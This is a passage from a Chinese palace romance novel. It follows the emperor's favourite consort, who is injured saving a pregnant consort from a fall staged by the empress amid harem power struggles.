皇后敛眸,引一众嫔妃做礼,“三月芳菲,臣妾设了宴,与六宫姐妹一同赏花。” 李怀修掀起眼皮,扫过?跟随过?来的六宫嫔妃,“宓贵人为何没?与皇后一同赏景?” 皇上?目光扫去时,含羞带怯的粉黛们面颊皆生了绯红,拿出最好的姿态,期盼着皇上?能看?中自?己?,这般好的机会,可不多得。不想,皇上?竟直接无视了她们这群人,开口竟是问宓贵人在何处! 有沉不住气?的嫔妃已?经不忿地攥紧了衣袖。 皇后并不意外皇上?发?问这句,宓贵人侍寝多日,相比于站在一处,同样打扮得花枝招展的嫔妃,皇上?记得最清楚的,自?然是日日见到的那个人。 她温和地回话,“张贵人有孕不适,先行回宫,宓贵人陪着张贵人一同回去了。” 王采女恰时补道?:“宓贵人大抵不爱桃花,嫔妾们要去赏景,宓贵人却?是一副兴致缺缺的神色。”她仿若未觉自?己?说了些?什么,掩唇娇笑,“宓贵人便会躲懒,多走一步路都不肯。” 王采女就差把话挑明了说,明知会见到圣驾,宓贵人却?多走一步路都不肯,张贵人怀着皇嗣情有可原,但宓贵人这番作态,分明是对皇上?不敬。 在场的嫔妃没?人反驳王采女,替宓贵人说话,毕竟谁不乐得见宓贵人受皇上?冷落,失了圣宠。 徐答应眼珠轻转,连忙附和,“是啊,皇上?,宓贵人避着圣驾不见,也不知是存了什么心思!” 徐答应比王采女还?要直白,姜嫔轻飘飘瞄去一眼,嘴角讥讽,心道?了句蠢货,宓贵人日日见到皇上?,不比她们这些?人更能揣测圣意,人人都想将受宠的宓贵人拉下来,也不看?看?是不是时候。 还?要有人附和时,李怀修眼皮凉凉掠了过?去,不耐地拧起眉,想起那日承明宫中,那女子伏在他怀中嘤嘤切切的委屈,他沉下脸色,声音冷若冰霜,“宓贵人居你?们之上?,也敢妄议上?位。” “拖下去,罚跪徽音门三个时辰!” 跪上?三个时辰,她们做主子做得久了,怎么受得住! 徐王二人脸色大变,惊恐不已?,扑通跪下身哭求:“不要,皇上?,嫔妾知错,求皇上?饶了嫔妾吧!” “求皇上?饶了嫔妾吧!” 她们哪想到,不过?说了宓贵人几句,皇上?居然如?此震怒,简直是悔不当初。 宫人将徐王二人带出桃林,剩下的嫔妃心有余悸,都夹起了尾巴,甚至不敢再?向皇上?看?去一眼。 她们都知宓贵人受宠,未料想,皇上?对宓贵人竟护着至此。 早在有嫔妃暗讽宓贵人时,全福海就瞄见了皇上?越来越冷的脸色,他不禁捏了把汗,偏生那两位主子仿佛没?长眼睛,竟还?越说越起劲儿,落到这般下场,也不叫人可怜。 便是在这时,远处,张贵人身边伺候的宫女神色慌张地跑近,扑通跪到地上?,急得哭了出来:“皇上?,贵人主子出御花园时,不慎摔倒,身下出血了!”片刻前,明裳与张贵人同向听月坞的方向出了御花园,两人相伴,没?有外人,难免要说几句体己?的话。 张贵人有孕后,鲜少出现在人前,到坤宁宫问安,也会隔上?几日告一回假,明裳没?想到,张贵人会来今日的赏花宴。 想到席上?那番明里暗里的针对,明裳柳眉蹙紧,“日后这种席面,张姐姐不来也罢。六宫人心不古,难免有不安好心的要借机动手脚。” 她可记得,阮常在因?何小产,杨才人又因?何早了三个月,意外生下景和公?主。再?凶险些?,杨贵嫔怕是落得与阮嫔一般的下场。 张贵人轻摇了摇头,手心抚住隆起的肚子,只道?:“宫中没?有这样的规矩。” 六宫里,还?未曾有过?有孕的嫔妃,一推了晨安,二拒了皇后的设宴,她一回两回还?好,次数多了,不止在后宫,前朝也会听闻风声。那些?个臣子,敢管民生百姓,敢管内宅家训,也敢管皇上?的后宫事,她这么做,也是为了腹中的孩子着想。 明裳微怔,恍然明白,倒底是入宫晚,不如?张贵人顾虑得多。 张贵人心知宓贵人是为自?己?着想,她牵住明裳的手,抚住自?己?的肚子上?,眉眼柔静:“我宁愿这个孩子会是个公?主。” “为何?”明裳问出声。 六宫中,有谁不想自?己?能诞下皇子。 张贵人停住脚步,慢慢抬了眼眸,望向明裳,温柔而坚定,“如?果你?我二人有人能生下皇子,我只希望是你?。” 明裳神色一怔。 张贵人侍奉君侧多年,冷眼看?六宫争宠,从不信虚无缥缈的姐妹之情,只信利益相交,诚然,她最初要结识宓贵人,也是看?清了宓贵人的价值,能得那位喜爱这么久的嫔妃,也只有宓贵人一人。但与宓贵人相处日久,她愈发?明白,皇上?为何会如?此喜爱这个女子。宓贵人与后宫的嫔妃并不一样。倘若她生下皇子,即便不想去争,她只怕会有意外将她的孩子推到那般地步。 两人正欲过?垂花门,下石阶,明裳先提裙跨过?了门槛,张贵人扶着宫人,迈出青石子路,日照出的白光射入眸中,她眯了眯眼,心神忽地一晃,脚下倾时失了重心,她面露惊恐,下意识先护住了肚子,只觉一阵天旋地转,耳边听见宫人惊呼之声,有人去抓她的衣角,不知为何,腿下却?一绊,让她重重往台阶下跌落。 张贵人根本顾不得多想,先护住肚子,惊吓地闭住了双眼,却?觉腰间被一道?力气?托住,再?平复时,意料之外跌坐到了地上?,耳边却?听另两人急声的喊叫,“主子!” 她无暇再?朝那边去看?,腿间涌出一股热流,她脸色苍白,直觉不好,死死稳定住心神,快速地抓住水琳搀扶过?来的手,声音又凉又冷,“快,传太医!” …… 张贵人与宓贵人一道?离开,偏生在这时生了意外,众人不禁揣测,张贵人这一胎,养了六个月,始终好好的,怎么一碰上?宓贵人,就出事了。那宫女通禀的情急,情形混乱,张贵人身下出血,也不知这一胎能不能保得住。 咸福宫,偏殿。 殿里,太医正在诊脉,不时传出女子痛苦的口申口今,张贵人气?息若无,疼得她动弹不得,她眼眶发?红,竟滚出泪水。母家败落后,张贵人深知自?己?没?有任何倚仗,她经受太多踩高捧低的事,吃了太多暗亏,太多无法言说的痛苦,从未哭过?,可这时,她忍不住,流下眼泪。 这个孩子来之不易,她不奢求皇上?有多宠爱她,更不奢求所谓的权势荣耀,她只想安安稳稳的,养着自?己?的孩子,在宫里聊度残生,她痛苦地闭上?眼,喉中干涩难忍,艰难地呼吸着,想求求上?天,不要收走这个孩子。 殿外,一众赶到的嫔妃面面相觑,此时,没?人敢出声触皇上?的霉头。 服侍的宫人跪在地上?,带着哭腔,哆哆嗦嗦道?:“奴婢扶着主子穿过?垂花门时,主子不知怎的忽地停了下身子,紧跟着脚下便踩了空,整个人要往下摔去,奴婢忙要去扶主子,却?是不及,幸而宓贵人先了一步,站在台阶下极力护住了主子的身子,但台阶太高,容不得太多人,宓贵人也猝不及防,扶住了主子,自?己?却?摔了下去,主子跌到地上?,身子才出了血……” 那宫女额头砰砰叩到地上?,“奴婢有罪,奴婢没?有伺候好贵人主子,奴婢有罪!” 全福海觑到皇上?沉得滴水的脸色,就一阵发?怵,慌忙垂下头。 李怀修捏紧扳指,声音冷如?冰凌,“将伺候张贵人的宫人押去慎刑司,杖责五十!” 五十大板,能堪堪要去人命,那宫人脸色苍白,双腿发?软,跪也跪不住。 “皇上?!” 一道?细微的女声入耳,众人这才瞧见,躺在窄榻里的女子,隔着琳琅的珠帘,方才居然无人察觉。 明裳并非这时候才开口引人注意,她滚下五级台阶,浑身发?疼,尤其脚踝疼得厉害,隐隐抽痛,让她呼吸不得,此时情急之下,动了身子,疼得她忍不住“嘶”了一声,她扶着绘如?,勉强撑坐起身。 男人已?经急步撩开珠帘入内,见到她鬓发?散乱,脸红青紫,浑身狼狈,眼底比方才还?要沉得骇人,他指腹轻轻碰去女子的面颊,听这人疼得轻呼,他手掌僵住,心口泛出异样的波澜,又是气?恼,又是心疼。 他放下手,想训她不知轻重,却?也只是黑着脸斥了一句,“笨!” 分明她舍身救下张贵人无错,可李怀修竟也不知自?己?在气?什么。那么高的台阶跌下来,她这般怕疼,也舍得自?己?的身子。 明裳不知男人心中所想,动动手臂,扯住李怀修的衣袖,泪盈盈的眼眸朝男人看?去,轻声,“皇上?,水琳和这几个大宫女都是张姐姐近身的人,张姐姐离不开人服侍,不如?小惩大诫,免了五十大板,改为为张姐姐腹中的皇嗣跪身祈福如?何?” 如?今张贵人在里不知什么结果,能近身跟在身边,都是长久挑出来的人,倘若处置了这些?人,要往听月坞安插眼线太过?容易。 李怀修看?出她的顾虑,他往内殿看?去一眼,沉声道?:“依宓贵人所言。” 跪在地上?的小宫女松了口气?,朝明裳投去感激之色。 …… 太医院先赶过?来的太医姓陈,他原本是给宝珠公?主开了方子,正要赶回太医院,经过?御花园,被听月坞的宫人撞见,急忙带去了咸福宫。 因?而,此时明裳只能忍着浑身的疼痛,躺在软榻里,她嘴角抽疼了下,才忽记起,自?己?脸上?青青紫紫,这副模样落在男人眼中定是极为丑陋不堪。 她后知后觉用小手遮住半张脸,支支吾吾道?:“里面没?了动静,张姐姐也不知情形如?何了,皇上?快去看?看?。” 李 怀修哪看?不出她的小心思,把那只柔荑拉下来,握到掌中,黑眸如?水深沉,“过?去这么久,尚未听到动静,张贵人腹中的皇嗣,当是保住了。” 陈太医擅长妇孺之症,他也相信陈太医的医术。 饶是如?此,触到男人的视线,明裳咬唇,仍旧忍不住小声,“皇上?……能不能别盯着嫔妾,嫔妾这副模样想来也不堪入目……” 更何况,外面还?站着一堆花枝招展的嫔妃。 李怀修嘴角扬了下,捏了捏那只小手,她生得好,即便脸上?有些?青紫,也并不碍事。 他掀起眸,此时眼中已?无方才与明裳说话的情绪,冷淡无波地看?向珠帘外翘首向内张望的嫔妃,众人触到皇上?的眼光,眼皮一低,不敢再?看?。 “太医还?没?到?” 全福海吓得一脖子冷汗,太医院到御花园的脚程甚远,即便是跑着过?来,也要几刻钟,他不敢如?实答,立即上?前道?:“奴才这就去看?看?。” 这时,陈太医终于从内殿出来,尚是春日,脊背就已?叫冷汗湿透,陈太医无比后悔,怎么今日偏偏赶上?他当值,幸而将这位主子腹中的皇嗣救了回来,不然他怕是也不必留在太医院了。 他擦掉额头冷汗,躬身,“贵人主子用药后,胎象已?经平稳,虽有见血,修养几日,便不会再?有大碍。” 闻言,殿内众人神色各异,谁能想到,张贵人居然如?此有福气?,这般凶险下,还?能保住腹中的皇嗣。 李怀修没?让陈太医歇口气?,立即让他给明裳看?诊,明裳只是看?着严重,雪白的肌肤青青紫紫,并未伤及内脏,只是脚踝处有轻微骨折,陈太医开了方子,叮嘱宫人如?何照顾,待看?诊完,他便请身退了出去。 内殿张贵人已?经昏睡过?去,张贵人身子虚弱,不宜挪动,留在咸福宫修养。 皇后眼光向明裳投去,温声请示,“宓贵人不便行动,不如?坐臣妾的仪仗回顺湘苑。” “不必。”李怀修抬手打断,眼帘垂下,手臂揽过?明裳的后背膝弯,将人抱到了怀中,明裳微怔,愕然地抬起眸子,入眼是男人冷硬的下颌,她呼吸不禁一紧。 第060章 第 60 章 众人呆愣地看着皇上抱着宓贵人上了銮舆, 心底掀起一阵惊涛骇浪,不禁眼?红嫉妒,今日宓贵人舍命护住张贵人腹中?的皇嗣, 可真是?在皇上眼?前出尽了风头。宓贵人本就受宠, 经过这?事,皇上岂不是?待她宠爱更甚! 全福海拖着太?医院当值的太?医, 呼哧呼哧地赶到咸福宫,却早已没了圣驾的踪影,只留了一个小太?监在宫门前东张西望, 见大?公公可算是?回来了,他忙上前道:“大?公公,圣驾已经朝永和?宫去了!” 永和?宫?全福海愣住神,那岂不是?宓贵人是?乘了皇上的銮舆!倒也不是?头一回这?样,全福海抹了把额头的虚汗, 又问贵人主子可看了太?医, 小太?监点头称是?, 他再?三?思量,还是?请太?医跟着他跑一趟顺湘苑,方才匆匆看诊, 又经一番颠簸, 他带着太?医过去,也能在宓贵人跟前卖个好。 圣驾到了永和?宫,此时早有人回去传话,顺湘苑内并非毫无准备,月香今日未跟着伺候主子, 听到下面的小宫女来禀,主子摔下御花园的台阶, 月香急得都哭了出来,若非辛小五拦着,她怕是?已经跑到了咸福宫亲自伺候主子! 纵然有了准备,直到月香见到主子脸上的伤痕,仍是?没忍住,鼻尖一酸,使劲儿抹了把眼?泪。旁人都在暗暗得意皇上竟亲自抱着自家主子进了内殿,只有月香是?在心疼,主子自幼吃个苦汤药都要磨上许久,摔成这?样,该是?有多疼。 大?庭广众的,明裳被男人抱来抱去,颇有些抹不开脸面,她红着脸蛋,小声?求着男人要自己下去走走,缓了这?么久,其实已经没那么疼了。 李怀修睨了她一眼?,用?眼?神示意她闭嘴,真不知这?女子整日都在想什?么,要他堂堂君王,九五之?尊亲自抱着,是?何等?殊荣,旁人求之?不得,她竟还敢推三?阻四?。 触到男人目光,明裳终于安静了些,干脆将?脸蛋埋到男人胸怀,跟个小兔子似的,仿若掩耳盗铃,自己看不见旁人,也就等?同于旁人也看不见自己。 胸口的女子软乎乎地蹭着她,只露出了那只小巧的耳珠,一截白皙雪腻的脖颈,李怀修怔了下,继而无言失笑,微抿唇角,倒是?没再?斥她。 当着她宫里人的面,总要给她这?个主子留些脸面。 全福海急吼吼地抓着太?医跑到永和?宫,正看见皇上亲自抱着宓贵人进了顺湘苑的殿门,他惊得眼?珠子差点没掉下来,皇上素来看重皇室规矩,除却两个小公主,皇上何时抱过女子,就连当年的瑜贵嫔也没有这?分殊荣啊! 他抓着太?医的手,一时感慨,陪着他跑来跑去的郭太?医,一把老骨头都快散架了,他好歹伺候过两朝帝王,宫里的内监见到他都要给几?分体面,敬上三?分,若非拖着他的人是?御前的大?监,他定要唾骂两句,此时两人手拉着手,站在顺湘苑门前,也忒不成体统。 郭太?医吹了吹胡须,见全福海不知正看什?么,还没回神,不由得开口,“全公公,可否能进殿为宓贵人看诊?” 经一提醒,全福海才记起这?茬,也不知手掌抓着什?么,像老树的皮,粗糙得紧,他纳闷地一低头,瞧见两人紧握相牵的手,脊背顿时生出密密麻麻的鸡皮疙瘩,蓦地往后一跳,把郭太?医的手甩得老远,他神色古怪,干笑一声?,“咱家得罪了。” 郭太?医手掌默默往衣袖里嫌弃地蹭了蹭,皮笑肉不笑,“大?监也是?心急情切,无妨。” 明裳伤的最严重的地方在脚踝,伤筋动骨一百日,须得在床榻静养,郭太?医比着陈太?医开出的方子,多添了两味温和?的补药,便躬身告退。 内殿里,月香依依不舍地退出去,到外面煎药,宫人自觉地候到殿外,全福海瞄一眼?皇上脸色,也悄无声?息地守在了外面。 御花园中?事出突然,明裳到现在仍心有余悸,她不放心地再?问一回男人,张贵人腹中?的皇嗣可真的保住了?李怀修难得耐下性子,不厌其烦地安抚,张贵人无事,张贵人腹中?的皇嗣也无事。 得到准确的答复,明裳眉目轻舒,才松了口气,她如此关心张贵人,不只是?因为宫中?她与张贵人相交甚笃,倘若偏生她与张贵人同处时出了事,难免被有心人利用?,念此,她蹙起眉尖儿,今日这?事,当真是?意外? 李怀修见她时而轻松,时而皱眉,一张脸蛋变来变去,不由得想笑,这女子在宫里大抵就没闲着过,他指骨敲了下明裳的额头,心情似是?极好,“别想了,今日这?事朕自会查明。” 皇上亲自命人去查,总比她去查要稳妥。 明裳弯起眸子,漂亮的眼?珠一眨不眨地望向男人,忽然觉得有点不对劲儿,纳闷道:“皇上怎么忽然这么好说话。” 闻言,李怀修脸色由白转黑,什?么叫他忽然这?么好说话,这?女子知不知道在说什?么,知不知道他是?皇帝,雷霆雨露,俱是?天恩。怕是?他宠她过了头,才敢在他面前这?么肆无忌惮。 偏生,那女子一无所觉,好奇地仰着小脸,眉目如波,秋水潋滟,卷翘的睫毛忽闪忽闪,撩拨到了他心上。他喉骨上下滚动,不由记起,夜中?时,这?女子那双纤长的睫羽抖得如何厉害,手背覆唇,呜呜咽咽。 念此,脑海中就不由浮现出了那女子赤着的身形,李怀修面露难堪之?色,脸色不自然,他压住扳指,她受了伤,他能将?她如何,李怀修从未这般憋屈过,没好气地睨去一眼?,明裳缩缩身子,不知道自己又说错了什么,总觉得男人的眼?神凉飕飕,阴沉沉的,又好似压抑着什么。 不管说错了什?么话,先撒娇总是?没错,她红唇微张,眸子盈盈看去,软声?,“皇上许久没吃张厨子的手艺了,今儿不如留下来尝尝?” “哼!” 李怀修毫不留情地拂开了那女子玉白的柔荑,站起身,倒底没忍住,掐了把明裳不见青紫的那处侧颊,狠狠威胁道:“待你伤好了,朕再?同你算账!” 明裳愣住,算账?算什?么账?她呆呆地望着男人,正要说话,李怀修已经转身,踱步出了内殿,很快不见人影,龙袍的衣袖拂过一阵凉风,明裳怔怔地靠在床榻里,蓦地瘪起嘴,委屈巴巴,气得将?手边的引枕扔到了地上。 什?么嘛!她又做错了什?么,舍命救下张贵人,不给她奖赏也就算了,还要待日后算账,真是?喜怒无常的男人! 李怀修心里也有气,他自是?不想承认,他堂堂一国之?君,坐拥天下,想要什?么样的女子没有,竟会贪恋上这?么一个没心肝的东西。 廊下,全福海正默不作?声?地候着,宓贵人救了张贵人,今儿立下大?功,他正琢磨皇上会给宓贵人什?么嘉奖,正寻思着,槅门骤然从里打?开,全福海猝不及防,三?山帽一歪,险些摔个趔趄,一打?眼?,就见皇上铁青着脸,从里面急步而出,全福海太?熟悉皇上这?副脸色了,每每与宓贵人置气,皇上都是?这?样,偏生还舍不得责罚宓贵人一下,末了,倒了霉的还是?自己。 全福海默默后退了半步,赔笑,“皇上可是?要回乾坤宫?” 毕竟,宓贵人伤成这?样,今夜必是?不能侍寝了。否则,宓贵人若是?安然无虞,全福海就不会多嘴这?句话,皇上这?会儿能从里面出来都不一定,全福海不禁啧啧感叹,皇上以前是?多么英明自持的君主啊,三?月不进后宫也是?有的,怎么遇到宓贵人,就像唐三?藏遇到女妖精呢,幸而,宫里头也只有这?么一个宓贵人。 李怀修揉了揉眉心,“朕记得西南番国去岁进贡了一匣珍珠玉脂膏?” 全福海心念一动,皇上的私库都是?他在看着,自是?对这?珍珠玉脂膏记得清楚无比。珍珠玉脂膏名曰珍珠,却并不是?用?珍珠制成,而是?由西南番国夜乌泣出的白血做引子,那夜乌百年才得一只,数十年才泣一回血,就这?么一匣,不止要耗尽多少人力物力,历经几?百年才得出,敷上一指,不过几?日,身上的疤痕就可全消,肌肤犹如新生,西南番国年宴进贡,后宫不知有多少主子盯着,皇上这?是?要一匣都送给宓贵人?他都有些替后宫的主子们肉疼。 全福海点头称是?。 李怀修淡声?吩咐,“送到顺湘苑,再?拿些上好的补药,一同送来。” 言罢,李怀修拂袖下了台阶,全福海回头瞧了眼?顺湘苑的匾额,竟不知这?处偏殿里住着的主子,居然能有这?番造化。 …… 咸福宫,偏殿 入夜,张贵人将?将?转醒,她缓过神,记起白日发生了什?么,下意识抚过腹部,摸到高隆的肚子,沉着的心,才算安定下来,幸好,腹中?的孩子还在。 她费力地动动身子,却觉头晕目眩,极为虚弱,一手抚住胸口,干咳一声?,哑着嗓子向外唤人,“水琳……” 殿外,水琳正端着煎好的药进来,听见主子唤她,面上霎时一喜,加快了脚步向寝殿里走去。 见到主子苍白的面容,水琳深吸了口气,眼?眶濡湿,放下呈着汤药地托碟,过去扶起张贵人,“主子可感觉有何处不适?御膳房送的晚膳正在暖阁热着,主子吃了药,奴婢将?晚膳送来。” 张贵人却是?不饿,只是?身子有些虚弱罢了,她抚着腹部,眼?眸低下来,“这?个孩子如何?” “主子且安心。”水琳立即道,“主子腹中?的皇嗣并不大?碍,只是?受了惊讶,又影响胎动,须得在咸福宫修养月余,吃上坐胎药,待胎象稳固。” 张贵人抬起眼?,这?才察觉,四?周确实让她陌生,不过她一向对住处无甚所谓,保住腹中?的孩子才是?要紧。 她回忆起白日情形,才想起台阶下托住自己的那个女子,她面色一变,急问,“宓贵人眼?下如何?” 宓贵人为救她,从那么高的台阶摔下去,一旦出了意外,她倒宁愿,伤到的是?自己。 水琳见主子急得变了脸色,忙声?安抚,“主子安心,宓贵人有宫人护着,只是?腿上伤得严重,身子也并未伤到内里筋骨,休养些时日,身子就能恢复了。” 如此就好。 张贵人落下心,眼?帘低低垂下,无声?地抚过腹部,想到御花园中?,那女子拼命护她,苦笑着摇了摇头,倒底是?欠了她一回。 月影横斜,宫灯照出一隅的亮色,张贵人虽不饥饿,因怀着皇嗣,为了身子,她勉强吃了小碗羹汤。 水琳递了干净的帕子给主子净手,欲言又止,忍不住道:“主子,奴婢觉得今日事出蹊跷。” 纤纤玉指拨过清水,张贵人擦过指尖儿的水渍,垂眸回忆御花园中?摔倒的情形,她身边跟着的宫人,都是?自己精心挑出的,不会背叛于她,也非有人在背后伸手,要将?她推下台阶。那时,她穿过垂花门,刺亮的日光射到她眼?底,她眯了眯眸子,一瞬的失神,让她失了重心,身子斜倚,才致使跌落台阶。 她抿了抿唇,“圣驾离开咸福宫前,皇上可有说过什?么?” 水琳诚实地摇摇头,“皇上得知主子无事,便……”她顿了下,打?量主子神色,轻声?,“便抱起宓贵人上了銮舆,往永和?宫去了。” 张贵人眉心一跳,抓住了其中?紧要之?处,讶异地看向水琳,“皇上是?抱着宓贵人乘上銮舆的?” 水琳点头,正要安抚主子不要伤心,皇上还是?看重主子的,不然为何等?到主子无事才离开,却见主子温温柔柔地笑了下,轻嗤,“如此,不知有多少人心里泛酸了。” 水琳呆了呆,有些无言,主子都怀上皇嗣了,竟还是?作?壁上观的态度。水琳真不知自家主子是?怎么想的,哪有嫔妃不争宠的,偏生主子性子又是?如此。想到这?儿,水琳不禁感伤,主子倘若嫁的是?寻常男子该有多好,偏偏那人是?皇上,上位的君王,薄情亦无情。主子待皇上,是?早就没有了期待。 皇上重视皇嗣,既是?什?么都没说,定也要查清,不会将?这?事压下去,只是?张贵人自己都有些不确信,究竟是?意外,还是?有人,蓄意算计。 那人,又会是?谁呢? …… 明裳脚踝扭伤,懒在顺湘苑修养,倒有由头不必到坤宁宫问安,听那些耍弄的心思。 三?月末,张贵人搬回了听月坞,皇上亲自下令,张贵人养胎为重,不必再?去坤宁宫问安,六宫也不必到听月坞探望。这?一月里,皇上去了两回听月坞,太?医院的太?医几?乎都围着张贵人转,将?这?一胎养得极好,张贵人身子也有七月,入夏就该要生产了。 明裳懒在顺湘苑,吩咐月香注意着六宫的消息。 这?夜,圣驾去了景平宫。 景和?公主年岁小,起初到景平宫哭闹了一两日,慢慢才安稳下来。姜嫔照顾着景和?公主也算尽心,深更半夜听见哭闹必是?要亲力亲为,亲自去哄。 月夜朦胧,乳母将?熟睡的景和?公主抱去了偏殿,伺候的宫人垂低着头,捧着茶水奉到案上。 姜嫔翻过两页后宫的账册,拿到男人面前,“嫔妾已经核对好了这?月的账册,请皇上过目。” 她合唇,瞄了眼?男人的脸色,继续说,“这?月,宓贵人与张贵人养病,用?的药极好,用?度难免多些。开了春,六宫裁制新衣,小公主身量长得快,故而多裁了些衣裳。” 李怀修捻了捻扳指,翻一页对账,淡声?,“这?些朕都知道,不过是?些衣裳首饰的用?度,不必细究。” 姜嫔垂眸,轻轻应了声?“是?。” 李怀修眼?眸扫过记下的账目,视线在重元宫停留一瞬,不动声?色地,掠了过去。待看完,姜嫔俯下身子,捧着六宫的对账,交给宫人收拢妥当。 宫灯的剪影映着男人的侧脸,李怀修转着扳指,眼?底深深,帝王自成的威仪气度,令人不禁心生畏惧。 “皇后身子不适,自顾不暇,下月城门施粥,由你代皇后前去监管。” 姜嫔一怔,神情错愕,她知晓皇上不知何时,已经对皇后不满,便将?协理六宫之?权交于她手,也算是?制衡皇后,只是?她没想到,城门施粥,乃是?天家恩赐,皇上竟然要将?皇后的监管之?责交托她手。 她跪下身,神色似有惶恐,“皇上旨意,嫔妾不敢不尊。” 李怀修垂下眼?睫,看向跪身的姜嫔,“你侍奉朕已久,虽无子嗣,却也克娴温良,你父为国奔走,劳苦功高,深得朕心。明日朕便着礼部拟旨,册封你四?妃之?位。” 姜嫔心口砰跳,蓦地抬头,她如何想到,自己有朝一日,竟能到四?妃之?位。她目光怔怔,恍然失神,竟有一瞬间的痴望,直到对上男人深沉淡薄的眼?光,瞬时清醒,她心底苦笑,却要恭敬地跪身谢恩,“嫔妾谢皇上隆恩。” 皇上待她,素来只是?权衡,她母家有了倚仗,膝下养着景和?公主,是?最合适天子用?作?在六宫的掌中?刀。 姜嫔闭了闭眼?,她聪明,深谙此道,也知晓,接下来该如何去做。 翌日,御前下旨,册封姜嫔为贤妃,阖宫哗然。 姜嫔骤然升了位份,六宫便忘了,皇上曾经众目睽睽之?下,抱着宓贵人乘上銮舆之?事。 宓贵人与张贵人留在各自宫中?修养,今儿坤宁宫问安,众人自然将?注意都转到了贤妃身上。皇上御极以来,除却丽妃娘娘,后宫还不曾有人做过妃位。 见贤妃进殿,王采女最先起身,“嫔妾恭喜贤妃娘娘。” 坐在下首的徐答应甚是?不屑,心底嗤了声?,她入宫时,贤妃还是?贵人位份,一无子嗣,二又无好的容貌,不过是?凭借侍奉皇上久了,得皇上几?分怜惜罢了,有什?么好得意的。 徐答应自信自己受皇上冷待,不过是?因柳常在陷害自己,才让皇上一时不喜,待日子久了,凭自己这?副好嗓子,也要胜出六宫嫔妃一大?截,她样貌不俗,家世虽比不过杨贵嫔,也是?正儿八经的世族,倘若再?怀了身子,还怕比不过什?么都没有的贤妃吗? 往日的姜嫔摇身一变坐到了四?妃位子,六宫嫔妃神色都有些难堪,随着王采女的动作?,僵硬地起身,恭贺贤妃娘娘。 贤妃眼?眸不紧不慢地扫过二人,面容端雅,仿似并不在意,落下座,抬手让下位的嫔妃起身,“本宫蒙受圣恩,日后还望六宫姐妹谨遵皇后娘娘教导,和?睦相处,尽心侍奉皇上,为皇室开枝散叶。” 寝殿内,皇后不紧不慢地戴上护甲,扫一眼?槅窗外的日光,“请安的嫔妃,都到了么?” 文竹捧来干净的帕子,为皇后净手,只说了一句,“贤妃娘娘是?最后进的殿。” “贤妃……”皇后眯了眯眸子,喃喃念着这?两个字,脸色骤然冷了下来,闭上眼?,深深地吐出了口气,“做的不够干净!” 文竹扑通跪下身,慌忙认罪:“奴婢蠢笨,请娘娘责罚!” 那日,张贵人险些跌下台阶,是?因有人,敲碎了一块石阶,张贵人有孕畏风,披着的披风护住肚子,难免曳地,手脚做得这?般干净,除了那位,谁又能发现。 皇后本意也并非如此,但她暗中?敲打?过陈太?医,张贵人腹中?怀着的,极有可能是?一个皇子,张贵人软硬不吃,又与宓贵人实在交好,不得不叫她防备。 却也因此,让她在皇上那儿,再?次失了信任。 可她是?皇后,想有个嫡子有什?么错? 妆镜中?,女子妆发华贵雍容,眼?底却越来越冷,蓦地挥手,妆台一匣琳琅满目的凤簪珠钗骤然被打?翻在地。 …… 姜嫔册封四?妃之?位,协理六宫事宜,也就意味着,这?后宫,姜嫔名正言顺地与皇后分了权,六宫揣测不到皇上的意思,嫉妒姜嫔竟轻易得了圣心封到妃位,不过一宫不容二主,姜嫔协理六宫,利益波及最大?的还不是?皇后娘娘。 明裳修养这?一月,后宫全然不复她出进宫时的情形,六宫权利争斗制衡,与前朝息息相关,她倒是?觉得懒在顺湘苑修养,躲过这?些纷争是?件好事。 虽因病没再?侍寝,御前的赏赐却是?如流水不断,皇上不忙着朝政时也会得空到永和?宫,因而,六宫没人敢看清了宓贵人,内务府也是?尽心尽力的伺候,不敢怠慢了。 昨儿内务府送来了一套新的瓷具,明裳正叮嘱月香将?那琉璃缠金的宝相花瓷瓶插//上新鲜的百合,辛柳一脸凝重地从殿外进来,神色复杂,明裳这?时才得知一个令人心惊的消息。 丽妃殁了。 …… 重元宫 孟静瑶托着素净的水仙青绣宫裙,跌跌撞撞地跑进内殿,泪水簌簌地划过双颊,哭花了整饰过的妆容。片刻前,她正在坤宁宫问安,皇上已许久不去她宫中?,姐姐近日一直催促她早些怀上皇嗣,可是?她什?么法子都用?过了,皇上不喜她,她做得多了,更会惹皇上厌烦。这?些日子姐姐没要见她一回,便要提上几?句,孟静瑶心生烦躁,直接推脱了,躲过丽妃的问话,不想……不想姐姐病得竟如此之?重。 分明昨日,姐姐还要自己到重元宫问话,难道……昨日姐姐就已知道自己的身子要不成了! 孟静瑶不敢去细想心中?的那个猜测,她扶着怜青的手,面前只隔一道珠帘,耳边影影绰绰听到宫人呜咽的哭声?,神色竟有些恍惚。其实,她与丽妃的情分并不深,不知为何,丽妃虽位居后宫妃位,父亲却鲜少与丽妃的父亲来往,两家同属孟氏,父亲却对丽妃只有敬重,从不想过攀交。孟静瑶以前在家中?并不受重视,因而父亲从未与她说明过缘由,这?些不过是?她敏锐的直觉。 她原以为,六宫只有丽妃一人在妃位,皇上待丽妃虽不如皇后敬重,至少是?有潜邸情分,直到丽妃病得越来越重,皇上从未到重元宫看过一眼?,她才隐隐察觉出了异样。 但孟静瑶也只是?猜测,她几?番想问出口,又几?番将?这?些话咽回了肚子,或许在宫里,就该如此,不听不问,不想不言。 丽妃病逝,圣上传旨,后事由皇后主持,贤妃协理,自始至终,皇上从未露过一面,冷情如斯。 丽妃离世后,孟常在也大?病了一场,闭门不出。 暮春时节,盛夏将?至,丽妃的死,也随着御花园娇娇艳艳绽放的鲜花被人淡忘。入了这?深宫的女子,装点着这?后宫的精致,可时日已久,到最终不过一具过眼?云烟的红颜枯骨。 …… 一大?清早,前朝就有关已故丽妃谥号,吵得不休。 可算是?挨到下朝,全福海抹了把后颈的冷汗,随着圣驾回了乾坤宫。 前朝有关丽妃娘娘的后谥不过分成两派,当年皇上亲征,丽妃娘娘对皇上的助力可是?都叫外人看在眼?里,不知情的人念及丽妃娘娘义不辞难,感天动地,定要加封丽妃娘娘为皇贵妃葬入皇陵,也免寒了那些曾经追随皇上出生入死忠臣之?心,但知情之?人,譬如全福海,清明着丽妃娘娘动的心思,孟家做了两方手段,丽妃娘娘何曾没动摇过,若非无意中?知晓了皇上有胜算的把握,怎会倾尽嫁妆,为搏一个前程荣华,皇上能允丽妃娘娘坐到妃位,已是?恩赐。 然,全福海也拿不准皇上的心思,皇上面上不耐烦听那些的大?臣唾沫横飞,吵得面红耳赤,可对丽妃加封皇贵妃,也并未斥责不满。 不论如何,这?些事都轮不到他一个奴才操心。 